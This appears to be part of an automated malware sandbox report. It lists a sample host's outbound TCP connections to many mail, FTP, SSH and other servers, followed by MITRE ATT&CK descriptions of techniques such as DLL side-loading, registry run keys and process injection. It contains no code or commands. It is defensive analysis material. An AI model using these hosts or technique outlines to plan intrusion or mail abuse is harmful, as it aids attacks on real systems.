Source: global traffic	TCP traffic: 104.200.30.31 ports 22,25,143,990,110,1,2525,2,443,465,993,587,995,80,21
Source: global traffic	TCP traffic: 164.90.197.79 ports 143,110,465,993,5,995,9
Source: global traffic	TCP traffic: 67.195.228.75 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 67.195.204.83 ports 25,143,110,220,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 103.224.212.34 ports 25,143,110,220,1,2525,3,465,993,4,587,995
Source: global traffic	TCP traffic: 35.181.18.45 ports 143,110,1,2525,3,993,4,995
Source: global traffic	TCP traffic: 77.75.77.146 ports 25,143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.73.11 ports 110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 95.168.220.222 ports 143,110,220,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 35.154.156.7 ports 22,990,1,2,222,21
Source: global traffic	TCP traffic: 104.47.17.74 ports 25,143,110,220,465,993,587,5,995,9
Source: global traffic	TCP traffic: 52.101.73.1 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 52.101.73.6 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 147.182.189.184 ports 143,110,465,993,5,995,9
Source: global traffic	TCP traffic: 52.101.132.28 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 95.168.220.210 ports 22,990,1,2,222,443,995,80,21
Source: global traffic	TCP traffic: 52.101.132.30 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 18.185.115.145 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 18.185.115.146 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 143.244.202.96 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 18.185.115.147 ports 25,143,110,220,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 52.101.11.9 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 52.101.11.7 ports 143,110,1,3,465,993,4,587,995
Source: global traffic	TCP traffic: 162.144.64.233 ports 22,1,2,222,443,80,21
Source: global traffic	TCP traffic: 52.101.11.3 ports 143,110,465,993,4,587,5,995,6
Source: global traffic	TCP traffic: 139.162.169.45 ports 22,990,1,2,222,443,2222,80,21
Source: global traffic	TCP traffic: 66.235.200.147 ports 22,990,222,3,443,4,995,80,21
Source: global traffic	TCP traffic: 52.101.11.10 ports 143,465,4,5,995,6
Source: global traffic	TCP traffic: 52.101.11.2 ports 143,110,465,993,587,5,995,9
Source: global traffic	TCP traffic: 162.241.224.218 ports 22,143,110,990,220,222,3,443,465,993,4,587,995,80,21
Source: global traffic	TCP traffic: 144.202.62.131 ports 22,990,2,222,443,995,80,21
Source: global traffic	TCP traffic: 148.66.138.193 ports 22,990,3,443,4,80,21
Source: global traffic	TCP traffic: 159.203.32.4 ports 22,990,2,222,443,995,80,21

Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 194.55.13.50:9001
Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 46.19.141.85:8100
Source: global traffic	TCP traffic: 192.168.2.4:49733 -> 80.66.135.13:9001
Source: global traffic	TCP traffic: 192.168.2.4:49734 -> 95.153.32.22:9001
Source: global traffic	TCP traffic: 192.168.2.4:49735 -> 217.160.251.63:29001
Source: global traffic	TCP traffic: 192.168.2.4:53371 -> 66.81.203.8:995
Source: global traffic	TCP traffic: 192.168.2.4:54603 -> 52.101.8.46:143
Source: global traffic	TCP traffic: 192.168.2.4:54625 -> 52.101.11.10:143
Source: global traffic	TCP traffic: 192.168.2.4:54999 -> 104.47.74.10:143
Source: global traffic	TCP traffic: 192.168.2.4:55003 -> 15.222.16.211:995
Source: global traffic	TCP traffic: 192.168.2.4:55004 -> 136.143.191.44:995
Source: global traffic	TCP traffic: 192.168.2.4:55006 -> 142.250.27.27:995
Source: global traffic	TCP traffic: 192.168.2.4:55009 -> 143.244.202.96:143
Source: global traffic	TCP traffic: 192.168.2.4:55014 -> 142.250.153.27:143
Source: global traffic	TCP traffic: 192.168.2.4:55015 -> 74.208.5.3:143
Source: global traffic	TCP traffic: 192.168.2.4:55017 -> 162.159.205.25:995
Source: global traffic	TCP traffic: 192.168.2.4:55020 -> 142.251.16.27:995
Source: global traffic	TCP traffic: 192.168.2.4:55064 -> 162.241.224.218:995
Source: global traffic	TCP traffic: 192.168.2.4:55141 -> 146.20.161.1:995
Source: global traffic	TCP traffic: 192.168.2.4:55146 -> 216.69.141.82:995
Source: global traffic	TCP traffic: 192.168.2.4:55150 -> 67.195.204.83:995
Source: global traffic	TCP traffic: 192.168.2.4:55152 -> 66.45.228.7:143
Source: global traffic	TCP traffic: 192.168.2.4:55155 -> 209.85.202.27:995
Source: global traffic	TCP traffic: 192.168.2.4:55162 -> 142.250.153.14:995
Source: global traffic	TCP traffic: 192.168.2.4:55168 -> 78.128.62.90:143
Source: global traffic	TCP traffic: 192.168.2.4:55171 -> 104.47.74.138:995
Source: global traffic	TCP traffic: 192.168.2.4:55248 -> 104.47.75.164:143
Source: global traffic	TCP traffic: 192.168.2.4:55306 -> 117.20.63.148:2030
Source: global traffic	TCP traffic: 192.168.2.4:55545 -> 142.250.153.26:143
Source: global traffic	TCP traffic: 192.168.2.4:55547 -> 164.90.197.105:143
Source: global traffic	TCP traffic: 192.168.2.4:55550 -> 162.241.62.220:143
Source: global traffic	TCP traffic: 192.168.2.4:55551 -> 15.236.236.160:143
Source: global traffic	TCP traffic: 192.168.2.4:55552 -> 64.233.184.27:143
Source: global traffic	TCP traffic: 192.168.2.4:55559 -> 103.224.212.34:143
Source: global traffic	TCP traffic: 192.168.2.4:55566 -> 62.146.106.50:995
Source: global traffic	TCP traffic: 192.168.2.4:55575 -> 52.101.68.0:995
Source: global traffic	TCP traffic: 192.168.2.4:55579 -> 104.47.55.138:995
Source: global traffic	TCP traffic: 192.168.2.4:55580 -> 104.47.73.138:143
Source: global traffic	TCP traffic: 192.168.2.4:55581 -> 52.101.11.2:995
Source: global traffic	TCP traffic: 192.168.2.4:55582 -> 74.220.219.189:143
Source: global traffic	TCP traffic: 192.168.2.4:55588 -> 72.167.58.161:143
Source: global traffic	TCP traffic: 192.168.2.4:55591 -> 64.233.184.26:995
Source: global traffic	TCP traffic: 192.168.2.4:55592 -> 3.94.41.167:143
Source: global traffic	TCP traffic: 192.168.2.4:55610 -> 104.200.30.31:143
Source: global traffic	TCP traffic: 192.168.2.4:55614 -> 162.241.24.104:143
Source: global traffic	TCP traffic: 192.168.2.4:55629 -> 198.23.53.39:995
Source: global traffic	TCP traffic: 192.168.2.4:55695 -> 52.101.9.5:995
Source: global traffic	TCP traffic: 192.168.2.4:55794 -> 209.85.202.26:995
Source: global traffic	TCP traffic: 192.168.2.4:55827 -> 52.101.132.30:143
Source: global traffic	TCP traffic: 192.168.2.4:55838 -> 52.101.11.7:143
Source: global traffic	TCP traffic: 192.168.2.4:55848 -> 81.19.159.64:993
Source: global traffic	TCP traffic: 192.168.2.4:55878 -> 200.55.156.172:143
Source: global traffic	TCP traffic: 192.168.2.4:55882 -> 18.185.115.147:143
Source: global traffic	TCP traffic: 192.168.2.4:55884 -> 191.6.220.39:143
Source: global traffic	TCP traffic: 192.168.2.4:55914 -> 133.130.97.143:995
Source: global traffic	TCP traffic: 192.168.2.4:55919 -> 52.101.73.22:143
Source: global traffic	TCP traffic: 192.168.2.4:55922 -> 52.101.42.10:143
Source: global traffic	TCP traffic: 192.168.2.4:55934 -> 52.101.68.16:995
Source: global traffic	TCP traffic: 192.168.2.4:55940 -> 142.93.233.86:143
Source: global traffic	TCP traffic: 192.168.2.4:55943 -> 173.203.187.1:143
Source: global traffic	TCP traffic: 192.168.2.4:55970 -> 193.203.239.23:143
Source: global traffic	TCP traffic: 192.168.2.4:55972 -> 104.47.17.74:995
Source: global traffic	TCP traffic: 192.168.2.4:55976 -> 212.159.8.200:143
Source: global traffic	TCP traffic: 192.168.2.4:55994 -> 194.47.252.115:995
Source: global traffic	TCP traffic: 192.168.2.4:56025 -> 77.75.77.146:995
Source: global traffic	TCP traffic: 192.168.2.4:56027 -> 212.97.32.100:143
Source: global traffic	TCP traffic: 192.168.2.4:56092 -> 144.76.107.16:995
Source: global traffic	TCP traffic: 192.168.2.4:56175 -> 177.153.23.242:220
Source: global traffic	TCP traffic: 192.168.2.4:56593 -> 52.101.40.24:995
Source: global traffic	TCP traffic: 192.168.2.4:56822 -> 95.168.220.222:995
Source: global traffic	TCP traffic: 192.168.2.4:57029 -> 216.250.121.106:990
Source: global traffic	TCP traffic: 192.168.2.4:57766 -> 45.40.150.54:222
Source: global traffic	TCP traffic: 192.168.2.4:58441 -> 66.81.203.198:995
Source: global traffic	TCP traffic: 192.168.2.4:58685 -> 52.101.9.11:143
Source: global traffic	TCP traffic: 192.168.2.4:58687 -> 52.101.9.2:143
Source: global traffic	TCP traffic: 192.168.2.4:58888 -> 15.222.16.210:143
Source: global traffic	TCP traffic: 192.168.2.4:58981 -> 68.178.213.244:995
Source: global traffic	TCP traffic: 192.168.2.4:58982 -> 67.195.228.75:995
Source: global traffic	TCP traffic: 192.168.2.4:58997 -> 104.47.75.228:143
Source: global traffic	TCP traffic: 192.168.2.4:59062 -> 164.90.197.143:143
Source: global traffic	TCP traffic: 192.168.2.4:59068 -> 200.55.156.171:143
Source: global traffic	TCP traffic: 192.168.2.4:59094 -> 162.159.205.11:995
Source: global traffic	TCP traffic: 192.168.2.4:59193 -> 104.47.73.10:143
Source: global traffic	TCP traffic: 192.168.2.4:59194 -> 35.181.18.45:143
Source: global traffic	TCP traffic: 192.168.2.4:59201 -> 52.101.73.6:995
Source: global traffic	TCP traffic: 192.168.2.4:59203 -> 52.101.40.6:995
Source: global traffic	TCP traffic: 192.168.2.4:59204 -> 52.101.40.1:143
Source: global traffic	TCP traffic: 192.168.2.4:59205 -> 104.47.59.138:995
Source: global traffic	TCP traffic: 192.168.2.4:59215 -> 52.86.6.113:143
Source: global traffic	TCP traffic: 192.168.2.4:59226 -> 52.101.137.0:995
Source: global traffic	TCP traffic: 192.168.2.4:59237 -> 52.101.9.17:143
Source: global traffic	TCP traffic: 192.168.2.4:59239 -> 18.185.115.145:143
Source: global traffic	TCP traffic: 192.168.2.4:59255 -> 52.101.11.3:143
Source: global traffic	TCP traffic: 192.168.2.4:59257 -> 52.101.137.2:995
Source: global traffic	TCP traffic: 192.168.2.4:59265 -> 212.159.9.200:995
Source: global traffic	TCP traffic: 192.168.2.4:59273 -> 104.47.17.138:995
Source: global traffic	TCP traffic: 192.168.2.4:59315 -> 52.101.42.4:143
Source: global traffic	TCP traffic: 192.168.2.4:59317 -> 52.101.9.14:143
Source: global traffic	TCP traffic: 192.168.2.4:59322 -> 15.222.16.209:143
Source: global traffic	TCP traffic: 192.168.2.4:59325 -> 66.81.203.133:143
Source: global traffic	TCP traffic: 192.168.2.4:59364 -> 68.178.213.243:995
Source: global traffic	TCP traffic: 192.168.2.4:59395 -> 52.101.42.9:995
Source: global traffic	TCP traffic: 192.168.2.4:59473 -> 13.37.195.136:143
Source: global traffic	TCP traffic: 192.168.2.4:59485 -> 52.101.132.28:995
Source: global traffic	TCP traffic: 192.168.2.4:59497 -> 18.185.115.146:995
Source: global traffic	TCP traffic: 192.168.2.4:59503 -> 52.101.40.2:995
Source: global traffic	TCP traffic: 192.168.2.4:59508 -> 52.101.73.24:995
Source: global traffic	TCP traffic: 192.168.2.4:59514 -> 52.101.8.44:143
Source: global traffic	TCP traffic: 192.168.2.4:59519 -> 200.55.156.170:995
Source: global traffic	TCP traffic: 192.168.2.4:59522 -> 147.182.130.78:143
Source: global traffic	TCP traffic: 192.168.2.4:59526 -> 52.101.68.32:143
Source: global traffic	TCP traffic: 192.168.2.4:60241 -> 139.162.169.45:222
Source: global traffic	TCP traffic: 192.168.2.4:60242 -> 185.54.192.125:990
Source: global traffic	TCP traffic: 192.168.2.4:60244 -> 178.32.41.233:222
Source: global traffic	TCP traffic: 192.168.2.4:60254 -> 52.101.11.9:143
Source: global traffic	TCP traffic: 192.168.2.4:60298 -> 89.31.143.1:990
Source: global traffic	TCP traffic: 192.168.2.4:60348 -> 52.101.73.11:143
Source: global traffic	TCP traffic: 192.168.2.4:60405 -> 52.101.42.13:995
Source: global traffic	TCP traffic: 192.168.2.4:60508 -> 52.101.9.0:995
Source: global traffic	TCP traffic: 192.168.2.4:60537 -> 147.182.160.18:143
Source: global traffic	TCP traffic: 192.168.2.4:60710 -> 52.101.8.34:143
Source: global traffic	TCP traffic: 192.168.2.4:60873 -> 52.101.8.32:143
Source: global traffic	TCP traffic: 192.168.2.4:60906 -> 52.101.73.1:995
Source: global traffic	TCP traffic: 192.168.2.4:60979 -> 52.101.8.36:143
Source: global traffic	TCP traffic: 192.168.2.4:60991 -> 52.101.40.4:143
Source: global traffic	TCP traffic: 192.168.2.4:61031 -> 52.101.68.18:995
Source: global traffic	TCP traffic: 192.168.2.4:61120 -> 147.182.189.184:995
Source: global traffic	TCP traffic: 192.168.2.4:61138 -> 52.101.42.6:995
Source: global traffic	TCP traffic: 192.168.2.4:61141 -> 52.101.73.30:995
Source: global traffic	TCP traffic: 192.168.2.4:61211 -> 52.101.73.4:995
Source: global traffic	TCP traffic: 192.168.2.4:61214 -> 52.101.68.36:995
Source: global traffic	TCP traffic: 192.168.2.4:61220 -> 164.90.197.79:995
Source: global traffic	TCP traffic: 192.168.2.4:61252 -> 52.101.73.26:995
Source: global traffic	TCP traffic: 192.168.2.4:61296 -> 52.101.68.5:143
Source: global traffic	TCP traffic: 192.168.2.4:62009 -> 52.101.8.42:995
Source: global traffic	TCP traffic: 192.168.2.4:62162 -> 80.92.66.174:587
Source: global traffic	TCP traffic: 192.168.2.4:62239 -> 177.153.23.241:2525
Source: global traffic	TCP traffic: 192.168.2.4:62928 -> 109.168.109.224:990
Source: global traffic	TCP traffic: 192.168.2.4:62932 -> 191.6.210.8:990
Source: global traffic	TCP traffic: 192.168.2.4:62977 -> 104.247.74.107:222
Source: global traffic	TCP traffic: 192.168.2.4:63144 -> 162.159.205.17:995
Source: global traffic	TCP traffic: 192.168.2.4:63510 -> 81.169.145.157:222
Source: global traffic	TCP traffic: 192.168.2.4:63557 -> 81.169.145.74:222
Source: global traffic	TCP traffic: 192.168.2.4:63560 -> 185.183.156.218:2525
Source: global traffic	TCP traffic: 192.168.2.4:63731 -> 35.214.252.247:143
Source: global traffic	TCP traffic: 192.168.2.4:65466 -> 202.226.37.158:990
Source: global traffic	TCP traffic: 192.168.2.4:49821 -> 92.62.143.50:222
Source: global traffic	TCP traffic: 192.168.2.4:50615 -> 184.106.54.2:995
Source: global traffic	TCP traffic: 192.168.2.4:50774 -> 198.23.53.42:995
Source: global traffic	TCP traffic: 192.168.2.4:50885 -> 54.83.33.36:222
Source: global traffic	TCP traffic: 192.168.2.4:51239 -> 13.234.155.54:990
Source: global traffic	TCP traffic: 192.168.2.4:51240 -> 3.33.130.190:222
Source: global traffic	TCP traffic: 192.168.2.4:51374 -> 74.208.5.21:995
Source: global traffic	TCP traffic: 192.168.2.4:51386 -> 15.197.142.173:222
Source: global traffic	TCP traffic: 192.168.2.4:51389 -> 44.219.53.183:222
Source: global traffic	TCP traffic: 192.168.2.4:51427 -> 15.236.29.106:222
Source: global traffic	TCP traffic: 192.168.2.4:51550 -> 104.21.63.202:222
Source: global traffic	TCP traffic: 192.168.2.4:51884 -> 76.223.105.230:222
Source: global traffic	TCP traffic: 192.168.2.4:52106 -> 185.230.63.107:990
Source: global traffic	TCP traffic: 192.168.2.4:52350 -> 185.230.63.171:990
Source: global traffic	TCP traffic: 192.168.2.4:52410 -> 104.47.71.202:587
Source: global traffic	TCP traffic: 192.168.2.4:53073 -> 185.230.63.186:990
Source: global traffic	TCP traffic: 192.168.2.4:53085 -> 104.26.12.245:990
Source: global traffic	TCP traffic: 192.168.2.4:53125 -> 108.166.43.2:995
Source: global traffic	TCP traffic: 192.168.2.4:55500 -> 159.203.32.4:222
Source: global traffic	TCP traffic: 192.168.2.4:55585 -> 47.246.24.211:222
Source: global traffic	TCP traffic: 192.168.2.4:55637 -> 18.229.0.171:222
Source: global traffic	TCP traffic: 192.168.2.4:55642 -> 68.168.209.252:222
Source: global traffic	TCP traffic: 192.168.2.4:55661 -> 103.224.212.226:222
Source: global traffic	TCP traffic: 192.168.2.4:55662 -> 34.208.26.152:990
Source: global traffic	TCP traffic: 192.168.2.4:55670 -> 193.227.5.222:222
Source: global traffic	TCP traffic: 192.168.2.4:55676 -> 23.185.0.1:990
Source: global traffic	TCP traffic: 192.168.2.4:55699 -> 185.135.132.105:222
Source: global traffic	TCP traffic: 192.168.2.4:55713 -> 66.235.200.147:222
Source: global traffic	TCP traffic: 192.168.2.4:55716 -> 199.34.228.177:222
Source: global traffic	TCP traffic: 192.168.2.4:55751 -> 99.81.150.60:222
Source: global traffic	TCP traffic: 192.168.2.4:55759 -> 164.52.221.51:222
Source: global traffic	TCP traffic: 192.168.2.4:55784 -> 185.154.212.10:990
Source: global traffic	TCP traffic: 192.168.2.4:55788 -> 95.168.220.210:990
Source: global traffic	TCP traffic: 192.168.2.4:55806 -> 162.210.96.117:222
Source: global traffic	TCP traffic: 192.168.2.4:55827 -> 162.144.64.233:222
Source: global traffic	TCP traffic: 192.168.2.4:55828 -> 34.136.104.255:222
Source: global traffic	TCP traffic: 192.168.2.4:55834 -> 52.206.191.232:990
Source: global traffic	TCP traffic: 192.168.2.4:55838 -> 67.205.16.72:990
Source: global traffic	TCP traffic: 192.168.2.4:55844 -> 15.235.14.141:222
Source: global traffic	TCP traffic: 192.168.2.4:55847 -> 35.164.64.246:990
Source: global traffic	TCP traffic: 192.168.2.4:55852 -> 37.157.195.144:222
Source: global traffic	TCP traffic: 192.168.2.4:55873 -> 213.0.13.44:990
Source: global traffic	TCP traffic: 192.168.2.4:56072 -> 116.202.203.176:222
Source: global traffic	TCP traffic: 192.168.2.4:56073 -> 3.234.162.143:222
Source: global traffic	TCP traffic: 192.168.2.4:56074 -> 75.118.8.65:222
Source: global traffic	TCP traffic: 192.168.2.4:56076 -> 35.237.190.156:222
Source: global traffic	TCP traffic: 192.168.2.4:56083 -> 120.88.73.238:990
Source: global traffic	TCP traffic: 192.168.2.4:56091 -> 144.202.62.131:222
Source: global traffic	TCP traffic: 192.168.2.4:56206 -> 104.47.71.138:587
Source: global traffic	TCP traffic: 192.168.2.4:56811 -> 3.111.240.6:222
Source: global traffic	TCP traffic: 192.168.2.4:56901 -> 15.197.148.33:222
Source: global traffic	TCP traffic: 192.168.2.4:56910 -> 3.33.152.147:222
Source: global traffic	TCP traffic: 192.168.2.4:56917 -> 104.21.12.154:990
Source: global traffic	TCP traffic: 192.168.2.4:56934 -> 15.236.187.69:222
Source: global traffic	TCP traffic: 192.168.2.4:56935 -> 35.154.156.7:990
Source: global traffic	TCP traffic: 192.168.2.4:56944 -> 13.248.243.5:990
Source: global traffic	TCP traffic: 192.168.2.4:57467 -> 104.26.13.245:222
Source: global traffic	TCP traffic: 192.168.2.4:58234 -> 148.66.138.193:990
Source: global traffic	TCP traffic: 192.168.2.4:58455 -> 162.250.126.5:222

Source: global traffic	TCP traffic: 192.168.2.4:56040 -> 142.250.27.27:587
Source: global traffic	TCP traffic: 192.168.2.4:56043 -> 185.183.156.218:25
Source: global traffic	TCP traffic: 192.168.2.4:56095 -> 177.153.23.241:25
Source: global traffic	TCP traffic: 192.168.2.4:57188 -> 162.159.205.25:587
Source: global traffic	TCP traffic: 192.168.2.4:60245 -> 146.20.161.1:587
Source: global traffic	TCP traffic: 192.168.2.4:60247 -> 66.45.228.7:587
Source: global traffic	TCP traffic: 192.168.2.4:60248 -> 74.208.5.3:587
Source: global traffic	TCP traffic: 192.168.2.4:62162 -> 80.92.66.174:587
Source: global traffic	TCP traffic: 192.168.2.4:62971 -> 173.203.187.1:587
Source: global traffic	TCP traffic: 192.168.2.4:63075 -> 104.200.30.31:587
Source: global traffic	TCP traffic: 192.168.2.4:63511 -> 103.224.212.34:587
Source: global traffic	TCP traffic: 192.168.2.4:63514 -> 142.93.233.86:587
Source: global traffic	TCP traffic: 192.168.2.4:64230 -> 198.23.53.39:587
Source: global traffic	TCP traffic: 192.168.2.4:64407 -> 15.236.236.160:587
Source: global traffic	TCP traffic: 192.168.2.4:51236 -> 212.159.8.200:587
Source: global traffic	TCP traffic: 192.168.2.4:51263 -> 67.195.204.83:587
Source: global traffic	TCP traffic: 192.168.2.4:51497 -> 104.47.73.138:587
Source: global traffic	TCP traffic: 192.168.2.4:51507 -> 104.47.75.164:587
Source: global traffic	TCP traffic: 192.168.2.4:51910 -> 3.94.41.167:587
Source: global traffic	TCP traffic: 192.168.2.4:51936 -> 162.159.205.11:587
Source: global traffic	TCP traffic: 192.168.2.4:52124 -> 104.47.73.10:587
Source: global traffic	TCP traffic: 192.168.2.4:52132 -> 104.47.55.138:587
Source: global traffic	TCP traffic: 192.168.2.4:52245 -> 104.47.17.74:587
Source: global traffic	TCP traffic: 192.168.2.4:52330 -> 144.76.107.16:587
Source: global traffic	TCP traffic: 192.168.2.4:52410 -> 104.47.71.202:587
Source: global traffic	TCP traffic: 192.168.2.4:52440 -> 78.128.62.90:587
Source: global traffic	TCP traffic: 192.168.2.4:52492 -> 77.75.77.146:587
Source: global traffic	TCP traffic: 192.168.2.4:52850 -> 212.97.32.100:587
Source: global traffic	TCP traffic: 192.168.2.4:52866 -> 15.222.16.211:587
Source: global traffic	TCP traffic: 192.168.2.4:52870 -> 66.81.203.8:587
Source: global traffic	TCP traffic: 192.168.2.4:52890 -> 216.69.141.82:587
Source: global traffic	TCP traffic: 192.168.2.4:53262 -> 18.185.115.147:587
Source: global traffic	TCP traffic: 192.168.2.4:55741 -> 209.85.202.27:587
Source: global traffic	TCP traffic: 192.168.2.4:55745 -> 142.250.153.14:587
Source: global traffic	TCP traffic: 192.168.2.4:55757 -> 142.251.16.27:587
Source: global traffic	TCP traffic: 192.168.2.4:55770 -> 136.143.191.44:587
Source: global traffic	TCP traffic: 192.168.2.4:55774 -> 142.250.153.27:587
Source: global traffic	TCP traffic: 192.168.2.4:55776 -> 143.244.202.96:587
Source: global traffic	TCP traffic: 192.168.2.4:55802 -> 162.241.224.218:587
Source: global traffic	TCP traffic: 192.168.2.4:55893 -> 162.241.62.220:587
Source: global traffic	TCP traffic: 192.168.2.4:55904 -> 74.220.219.189:587
Source: global traffic	TCP traffic: 192.168.2.4:55911 -> 164.90.197.105:587
Source: global traffic	TCP traffic: 192.168.2.4:55913 -> 62.146.106.50:587
Source: global traffic	TCP traffic: 192.168.2.4:55927 -> 142.250.153.26:587
Source: global traffic	TCP traffic: 192.168.2.4:55934 -> 162.241.24.104:587
Source: global traffic	TCP traffic: 192.168.2.4:55937 -> 209.85.202.26:587
Source: global traffic	TCP traffic: 192.168.2.4:55943 -> 64.233.184.26:587
Source: global traffic	TCP traffic: 192.168.2.4:55951 -> 200.55.156.172:587
Source: global traffic	TCP traffic: 192.168.2.4:55974 -> 193.203.239.23:587
Source: global traffic	TCP traffic: 192.168.2.4:55989 -> 72.167.58.161:587
Source: global traffic	TCP traffic: 192.168.2.4:56019 -> 133.130.97.143:587
Source: global traffic	TCP traffic: 192.168.2.4:56058 -> 95.168.220.222:587
Source: global traffic	TCP traffic: 192.168.2.4:56064 -> 191.6.220.39:587
Source: global traffic	TCP traffic: 192.168.2.4:56101 -> 52.101.42.6:587
Source: global traffic	TCP traffic: 192.168.2.4:56127 -> 52.101.42.4:587
Source: global traffic	TCP traffic: 192.168.2.4:56139 -> 104.47.74.10:587
Source: global traffic	TCP traffic: 192.168.2.4:56146 -> 52.101.11.7:587
Source: global traffic	TCP traffic: 192.168.2.4:56149 -> 52.101.9.0:587
Source: global traffic	TCP traffic: 192.168.2.4:56157 -> 52.101.11.2:587
Source: global traffic	TCP traffic: 192.168.2.4:56161 -> 104.47.59.138:587
Source: global traffic	TCP traffic: 192.168.2.4:56166 -> 52.101.73.1:587
Source: global traffic	TCP traffic: 192.168.2.4:56170 -> 52.101.137.0:587
Source: global traffic	TCP traffic: 192.168.2.4:56171 -> 52.101.9.11:587
Source: global traffic	TCP traffic: 192.168.2.4:56181 -> 52.101.73.11:587
Source: global traffic	TCP traffic: 192.168.2.4:56184 -> 52.101.9.17:587
Source: global traffic	TCP traffic: 192.168.2.4:56189 -> 52.101.73.6:587
Source: global traffic	TCP traffic: 192.168.2.4:56193 -> 52.101.132.30:587
Source: global traffic	TCP traffic: 192.168.2.4:56206 -> 104.47.71.138:587
Source: global traffic	TCP traffic: 192.168.2.4:56214 -> 52.101.40.4:587
Source: global traffic	TCP traffic: 192.168.2.4:56634 -> 212.159.9.200:587
Source: global traffic	TCP traffic: 192.168.2.4:56900 -> 162.159.205.17:587
Source: global traffic	TCP traffic: 192.168.2.4:56920 -> 68.178.213.244:587
Source: global traffic	TCP traffic: 192.168.2.4:56926 -> 67.195.228.75:587
Source: global traffic	TCP traffic: 192.168.2.4:56928 -> 66.81.203.198:587
Source: global traffic	TCP traffic: 192.168.2.4:56955 -> 18.185.115.145:587
Source: global traffic	TCP traffic: 192.168.2.4:56959 -> 104.47.75.228:587
Source: global traffic	TCP traffic: 192.168.2.4:56962 -> 52.101.9.2:587
Source: global traffic	TCP traffic: 192.168.2.4:56974 -> 52.86.6.113:587
Source: global traffic	TCP traffic: 192.168.2.4:56986 -> 52.101.9.5:587
Source: global traffic	TCP traffic: 192.168.2.4:56990 -> 52.101.132.28:587
Source: global traffic	TCP traffic: 192.168.2.4:56997 -> 52.101.40.6:587
Source: global traffic	TCP traffic: 192.168.2.4:57008 -> 52.101.40.1:587
Source: global traffic	TCP traffic: 192.168.2.4:57020 -> 52.101.11.9:587
Source: global traffic	TCP traffic: 192.168.2.4:57044 -> 104.47.17.138:587
Source: global traffic	TCP traffic: 192.168.2.4:57476 -> 68.178.213.243:587
Source: global traffic	TCP traffic: 192.168.2.4:57479 -> 66.81.203.133:587
Source: global traffic	TCP traffic: 192.168.2.4:57574 -> 18.185.115.146:587
Source: global traffic	TCP traffic: 192.168.2.4:57599 -> 52.101.8.46:587
Source: global traffic	TCP traffic: 192.168.2.4:57619 -> 52.101.11.3:587
Source: global traffic	TCP traffic: 192.168.2.4:57631 -> 52.101.137.2:587
Source: global traffic	TCP traffic: 192.168.2.4:57634 -> 52.101.68.36:587
Source: global traffic	TCP traffic: 192.168.2.4:57658 -> 52.101.42.13:587
Source: global traffic	TCP traffic: 192.168.2.4:57702 -> 52.101.8.42:587
Source: global traffic	TCP traffic: 192.168.2.4:58013 -> 52.101.8.34:587
Source: global traffic	TCP traffic: 192.168.2.4:58068 -> 52.101.40.2:587
Source: global traffic	TCP traffic: 192.168.2.4:58087 -> 52.101.8.36:587
Source: global traffic	TCP traffic: 192.168.2.4:58219 -> 52.101.73.26:587
Source: global traffic	TCP traffic: 192.168.2.4:58233 -> 52.101.8.44:587
Source: global traffic	TCP traffic: 192.168.2.4:58238 -> 52.101.73.30:587
Source: global traffic	TCP traffic: 192.168.2.4:58258 -> 52.101.68.32:587
Source: global traffic	TCP traffic: 192.168.2.4:58343 -> 52.101.40.24:587
Source: global traffic	TCP traffic: 192.168.2.4:58346 -> 52.101.68.0:587
Source: global traffic	TCP traffic: 192.168.2.4:58470 -> 52.101.68.16:587
Source: global traffic	TCP traffic: 192.168.2.4:58536 -> 52.101.68.18:587

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
